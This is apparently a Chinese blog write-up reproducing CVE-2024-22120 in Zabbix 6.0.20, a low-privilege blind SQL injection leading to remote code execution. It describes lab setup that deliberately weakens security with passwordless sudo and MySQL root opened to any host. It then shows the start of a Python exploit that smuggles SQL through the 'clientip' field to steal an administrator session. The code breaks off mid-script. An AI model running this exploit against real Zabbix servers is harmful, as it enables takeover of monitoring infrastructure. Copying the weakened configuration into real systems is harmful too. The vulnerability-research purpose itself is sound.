Zabbix低权限SQL注入至RCE+权限绕过

Zabbix低权限SQL注入至RCE+权限绕过,可惜没找到关于传webshell的好方法,如有大神告知,感激万分!
本文中所有代码以及后续更新都会放在我的github仓库中:

https://github.com/W01fh4cker/CVE-2024-22120-RCE

一、漏洞环境搭建
1.1 下载vmware镜像并设置
源码地址:

https://cdn.zabbix.com/zabbix/sources/stable/6.0/zabbix-6.0.20.tar.gz

Eclipse搭建调试环境的参考文章:

https://mp.weixin.qq.com/s/dBLFvkm6oV_5AMLuwcvuLQ

直接懒人一键搭建:

https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz

解压之后,vmware直接打开vmx文件,默认账号密码是root/zabbix。

登录之后执行命令visudo,在底下添加一行:

zabbix ALL=(ALL) NOPASSWD:ALL
在这里插入图片描述
如果后续在web界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试,反正我只加这一行就行了:

https://www.cnblogs.com/gqdw/p/3844881.html

为了方便测试,我们可以本地navicat连接环境的mysql数据库:

mysql -uroot
SET PASSWORD = ‘zabbix’;
use mysql;
select host, user from user;
update user set host = ‘%’ where user =‘root’;
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON . TO ‘root’@‘%’ WITH GRANT OPTION;
FLUSH PRIVILEGES;
exit
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
yum install policycoreutils -y
service iptables save
1.2 漏洞环境设置
然后就是需要一些设置,首先需要添加一个用户,但是默认的User Role是没有HOSTS的查看权限的,所以需要先去开权限:
在这里插入图片描述
在这里插入图片描述
然后至少给一个读的权限,并点击Add:
在这里插入图片描述
在这里插入图片描述
现在开始添加用户:
在这里插入图片描述
组就选我们刚刚设置过的Guests:
在这里插入图片描述
角色选择User Role:
在这里插入图片描述
为什么说这个漏洞鸡肋呢,提交漏洞的作者说了,需要一个低权限用户,并且该用户需要具有Detect operating system的权限,但是这个操作默认的是没有的,只有管理员用户组才有:

在这里插入图片描述
需要手动设置用户组为全部或者Guests:
在这里插入图片描述
在这里插入图片描述
到这里就可以了,然后按照作者给出的复现步骤复现即可:

https://support.zabbix.com/browse/ZBX-24505

二、漏洞复现
2.1 验证漏洞存在并获取管理员session id和session key
作者给出的脚本如下:

https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py

他说可以延迟获取管理员的session id,但是我本地复现的时候获取的全0:

在这里插入图片描述
登录数据库发现,有多个sessionid,需要加一个limit 1:

在这里插入图片描述

因此我们可以修改代码如下:

import json
import argparse
from pwn import *
from datetime import datetime

def send_message(ip, port, sid, hostid, injection):
zbx_header = “ZBXD\x01”.encode()
message = {
“request”: “command”,
“sid”: sid,
“scriptid”: “3”,
“clientip”: "’ + " + injection + “+ '”,
“hostid”: hostid
}
message_json = json.dumps(message)
message_length = struct.pack(‘<q’, len(message_json))
message = zbx_header + message_l

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值